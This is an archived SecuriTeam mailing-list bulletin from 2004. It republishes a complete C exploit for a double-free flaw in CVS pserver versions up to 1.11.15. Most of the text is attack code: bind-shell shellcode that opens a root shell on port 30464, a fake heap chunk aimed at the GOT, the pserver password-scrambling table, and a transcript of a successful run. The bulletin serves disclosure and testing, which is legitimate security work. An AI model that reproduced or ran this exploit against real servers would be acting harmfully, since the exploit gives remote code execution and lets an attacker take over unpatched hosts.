

# [EXPL] CVS error\_prog\_name Buffer Overflow Exploit

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-08/0042.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 08/15/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 15 Aug 2004 15:19:48 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

CVS error\_prog\_name Buffer Overflow Exploit

---

## SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/unixfocus/5XP0C00D5S.html>> CVS Multiple Vulnerabilities (getline, serve\_notify, serve\_max\_dotdot, wrapper, error\_prog\_name), a vulnerability in CVS allows a remote attacker to cause an overflow in the error\_prog\_name function's buffer.

The following exploit code can be used to test your system for the mentioned vulnerability.

## DETAILS

Exploit:

```
/* Remote CVS <= 1.11.15 exploit for the error_prog_name double free vuln.
```

```
*
```

```
* by Gyan Chawdhary, gunnu45@hotmail.com
```

```
*
```

```
* Vulnerability Description:
```

```
*
```

```
* The Vulnerability lies in the serve_argumentx function. The Argumentx
```

## Securiteam: [EXPL] CVS error\_prog\_name Buffer Overflow Exploit

command

- \* parameter is used to append data to a previously supplied Argument command.
- \* These data pointers are stored in the argument\_vector array. The
- \* serve\_argumentx fails to check whether an Argument command is present in the
- \* argument\_vector and may append data to a pointer that should not get
- \* touched at all, in our case the \*error\_prog\_name string. The function calls
- \* realloc to create space for the new string. Because realloc will be called
- \* to store strlen(error\_prog\_name) + strlen(somedata) the original chunk which
- \* just stores error\_prog\_name will get freed. This free chunk will once again
- \* get freed after we disconnect from the CVS pserver.
- \*
- \* Theory:
- \*
- \* Successful exploitation depends heavily on a specific heap layout to be met.
- \* The argument\_vector is initialized for holding 3 ptrs. If more space is
- \* required it will call realloc. The error\_prog\_name string resides right
- \* after the argument\_vector chunk.
- \*
- \* |11| arg\_vector |11| error\_prog\_name |109| some chunk
- \*
- \* address of error\_prog\_name is stored in the argument\_vector[0].
- \*
- \* To achieve successful exploitation the following steps are performed.
- \*
- \* 1) Send Argumentx command with a large argument to reallocate error\_prog\_name
- \* + large command on top of the heap. This will free the original
- \* error\_prog\_name buffer.
- \*
- \* 2) Send 50 Argument calls which will require the argument\_vector array to be
- \* reallocated freeing the current buffer. We keep this a high number to get
- \* mem from the top itself and to make the exploit reliable. As both the
- \* original the arg\_vector & err\_prg\_name buffers are free they are
- \* consolidated. Also we supply our fake chunk and shellcode in this call.
- \*
- \* 3) Send an argument command with the size & prevsize as its arguments. This
- \* will now be stored in arg\_vector & err\_prg\_name consolidated buffer.
- \*
- \* 4) Once we close the connection free will be called on the error\_prog\_name
- \* string which will read our fake size & prev\_size fields pointing to the

## Securiteam: [EXPL] CVS error\_prog\_name Buffer Overflow Exploit

fake

\* chunk , executing our shellcode.

\*

\* Phew !!!!

\*

\* NOTES: Iv tried this exp on RH 8 with glibc 2.3.\*. This exp did NOT work on

\* my slack 8.0 cause of glibc 2.2 which creates a very different heap layout.

\* Also some tweaking will be required to use this exploit remotely as sometimes

\* the overwritten GOT does not execute due to early drop in the connection

.

\* Please someone figure it out n mail me :) ..

\*

\* Now the exploit

\*

\* FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL

\* PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR

\* EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE \*

\* Greetings: jp – for his cool paper on advanced malloc exploits, and the heapy.so

\* jaguar@felinemenace – We at ... :P

\*

\* cya

\*

\* Gyan

\*/

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

```
#include <unistd.h>
```

```
#include <string.h>
```

```
#include <sys/socket.h>
```

```
#include <sys/types.h>
```

```
#include <netinet/in.h>
```

```
char shellcode[] =
```

```
"\xeb\x18"
```

```
"AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
```

```
"\x31\xc0" // xorl %eax,%eax
```

```
"\x31\xdb" // xorl %ebx,%ebx
```

```
"\x31\xc9" // xorl %ecx,%ecx
```

```
"\x31\xd2" // xorl %edx,%edx
```

```
"\xb0\x66" // movb $0x66,%al
```

```
"\xb3\x01" // movb $0x1,%bl
```

```
"\x51" // pushl %ecx
```

## Securiteam: [EXPL] CVS error\_prog\_name Buffer Overflow Exploit

```
"\xb1\x06" // movb $0x6,%cl
"\x51" // pushl %ecx
"\xb1\x01" // movb $0x1,%cl
"\x51" // pushl %ecx
"\xb1\x02" // movb $0x2,%cl
"\x51" // pushl %ecx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xcd\x80" // int $0x80

/* port is 30464 !!! */
/* bind(fd, (struct sockaddr)&sin, sizeof(sin) ) */
"\xb3\x02" // movb $0x2,%bl
"\xb1\x02" // movb $0x2,%cl
"\x31\xc9" // xorl %ecx,%ecx
"\x51" // pushl %ecx
"\x51" // pushl %ecx
"\x51" // pushl %ecx
/* port = 0x77, change if needed */
"\x80\xc1\x77" // addb $0x77,%cl
"\x66\x51" // pushl %cx
"\xb1\x02" // movb $0x2,%cl
"\x66\x51" // pushw %cx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xb2\x10" // movb $0x10,%dl
"\x52" // pushl %edx
"\x51" // pushl %ecx
"\x50" // pushl %eax
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x89\xc2" // movl %eax,%edx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80

/* listen(fd, 1) */
"\xb3\x01" // movb $0x1,%bl
"\x53" // pushl %ebx
"\x52" // pushl %edx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x66" // movb $0x66,%al
"\x80\xc3\x03" // addb $0x3,%bl
"\xcd\x80" // int $0x80

/* cli = accept(fd, 0, 0) */
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x50" // pushl %eax
"\x52" // pushl %edx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xb3\x05" // movl $0x5,%bl
"\xb0\x66" // movl $0x66,%al
```

## Securiteam: [EXPL] CVS error\_prog\_name Buffer Overflow Exploit

```
"\xcd\x80" // int $0x80

/* dup2(cli, 0) */
"\x89\xc3" // movl %eax,%ebx
"\x31\xc9" // xorl %ecx,%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80

/* dup2(cli, 1) */
"\x41" // inc %ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movl $0x3f,%al
"\xcd\x80" // int $0x80

/* dup2(cli, 2) */
"\x41" // inc %ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80

/* execve("/bin/sh", ["/bin/sh", NULL], NULL); */
"\x31\xdb" // xorl %ebx,%ebx
"\x53" // pushl %ebx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x8d\x54\x24\x08" // leal 0x8(%esp),%edx
"\x31\xc9" // xorl %ecx,%ecx
"\x51" // pushl %ecx
"\x53" // pushl %ebx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80

/* exit(%ebx) */
"\x31\xc0" // xorl %eax,%eax
"\xb0\x01" // movb $0x1,%al
"\xcd\x80"; // int $0x80

void login(char *, char *, char *);

struct sockaddr_in s;
int sock;

void xp_connect(char *ip)
{
    char buffer[1024];
    char temp[1024];
    int tmp;
```

## Securiteam: [EXPL] CVS error\_prog\_name Buffer Overflow Exploit

```
s.sin_family = AF_INET;
s.sin_port = htons(2401);
s.sin_addr.s_addr = inet_addr(ip);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
    printf("Cannot create socket\n");
    exit(-1);
}

if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0)
{
    printf("Cannot connect()\n");
    exit(-1);
}
}

void xp_write(char *data)
{
    if(write (sock, data, strlen(data)) < 0)
    {
        printf("write() failed\n");
        exit(-1);
    }
}

void xp_receive()
{
    int tmp;
    char buffer[1024*2];

    if ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0)
    {
        printf("read() failed\n");
        exit(-1);
    }
    printf("%s", buffer);
}

#define GOT_MEMCPY 0x80d2b4a
#define SHELL_ADDR 0x080cda20

char *egg(unsigned int what, unsigned int where)
{
    char *ptr, *buf;
    int i=0; //dummy = 0xffffffffc;
    int size = strlen(shellcode);

    // Will contain our fake chunk supplied with our fd & bk fields,
    // addr of shellcode & got addr - 8 of free(). We will also try to
```

## Securiteam: [EXPL] CVS error\_prog\_name Buffer Overflow Exploit

```
// stuff in our shellcode in the same buffer as I dont have enough
// gdb patience/time to find nother controlable buffer :P
buf = (char *)malloc(1250);
ptr = buf;

for (;i<1248;) {

*( (int **)ptr ) = (int *) ( where - 8 );
ptr+=4;
*( (int **)ptr ) = (int *) ( what );
ptr+=4;

i+=8;
}
buf[1250] = '\0';
ptr -= size;
strcpy(ptr, shellcode);
ptr = buf;
return ptr;

}

unsigned char shifts[] = {
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87,
111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105,
41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35,
125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56,
36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48,
58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223,
225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190,
199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193,
174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212,
207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246,
192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176,
227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127,
182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195,
243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 };

char *scramble(char * str)
{
int i;
char * s;

s = (char *) malloc (strlen (str) + 3);
memset(s, '\0', strlen(str) + 3);
*s = 'A';
for (i = 1; str[i - 1]; i++)
s[i] = shifts[(unsigned char)(str[i - 1])];
return (s);
}
```

## Securiteam: [EXPL] CVS error\_prog\_name Buffer Overflow Exploit

```
}

#define LOGIN "BEGIN AUTH REQUEST\n/home/cvsroot\n%s\n%s\nEND AUTH
REQUEST\n"
#define REQUEST "Root %s\n"

void login(char *login, char *password, char *repo)
{
    char *buf, *ptr, reply[1024];
    char *rep, *rp;
    buf = (char *)malloc(1024);
    rep = (char *)malloc(512);

    ptr = buf;
    rp = rep;
    sprintf(ptr, LOGIN, login, scramble(password));
    sprintf(rp, REQUEST, repo);

    ptr = buf;

    xp_write(ptr); /* login request */
    xp_receive();
    xp_write(rp); /* root dir request */

}

char argumentx[] = "Argumentx %s\n";
char argument[] = "Argument %s\n";
char trash[] = "FCUK";
char str[] = "Argument \x42\x42\x42\x42\x6e\xff\xff\xff\x1c\xff\xff"
"\xf0\xff\xff\xff\x41\x41\n";

void overflow()
{
    char *data, *dptr, *buf, *bufp, *eg, *arg, *aptr;
    int i;
    data = (char *)malloc(111111);
    dptr = data;
    buf = (char *)malloc(111111+20);
    bufp = buf;
    arg = (char *)malloc(1500);
    aptr = arg;

    memset(dptr, '\x41', 111111);
    sprintf(bufp, argumentx, data);
    xp_write(bufp);

    eg = egg(0x80d2b4a, 0x080cda20);
    sprintf(aptr, argument, eg);
}
```

## Securiteam: [EXPL] CVS error\_prog\_name Buffer Overflow Exploit

```
for (i=0 ; i<50; i++)
xp_write(aptr);

xp_write(str);
xp_write(trash);
}

void usage(char *name)
{
printf("CVS <= 1.11.15 Argumentx double free() remote exploit by Gyan"
"Chawdhary (gunnu45@hotmail.com)\n"
"Usage: %s <options>\n"
"-i <target IP address>\n"
"-l <login>\n"
"-p <password>\n"
"-r <repository path>\n\n", name);
}

main(int argc, char **argv)
{
int c;
char ip[16], user[32], pass[32], rep[512];

ip[0] = 0;
user[0] = 0;
pass[0] = 0;
rep[0] = 0;

if (argc < 2) {
usage(argv[0]);
exit(0);
}

while ((c = getopt(argc, argv, "h:l:p:i:r:")) != -1) {

switch(c) {

case 'h':
usage(argv[0]);
exit(0);
case 'i':
strncpy(ip, optarg, sizeof(ip));
break;
case 'l':
strncpy(user, optarg, sizeof(user));
break;
case 'p':
strncpy(pass, optarg, sizeof(pass));
break;
case 'r':
strncpy(rep, optarg, sizeof(rep));
```

## Securiteam: [EXPL] CVS error\_prog\_name Buffer Overflow Exploit

```
break;
}
}

if(ip) {
printf("Connecting to vulnerable CVS server ...");
xp_connect(ip);
printf("OK\n");
}

    printf("Logging in ...");
    login(user, pass, rep);
printf("OK\n");

    printf("Exploiting the CVS error_prog_name double free now ...");
    overflow();
    printf("DONE\n");
    printf("If everything went well there should be a shell on port
30464\n");
}

// xp_connect("127.0.0.1");
// sleep(20);
// login("gyan", "gyan");
// overflow(shellcode);

/*

[root@ill crazy]# ./free -i 127.0.0.1 -l gyan -p gyan -r /home/cvsroot
Connecting to vulnerable CVS server ...OK
Logging in ...I LOVE YOU
OK
Exploiting the CVS error_prog_name double free now ...DONE
If everything went well there should be a shell on port 30464
[root@ill crazy]# telnet 127.0.0.1 30464
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^'.

*/
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:gunnu45@hotmail.com>> Gyan Chawdhary.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

Securiteam: [EXPL] CVS error\_prog\_name Buffer Overflow Exploit

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.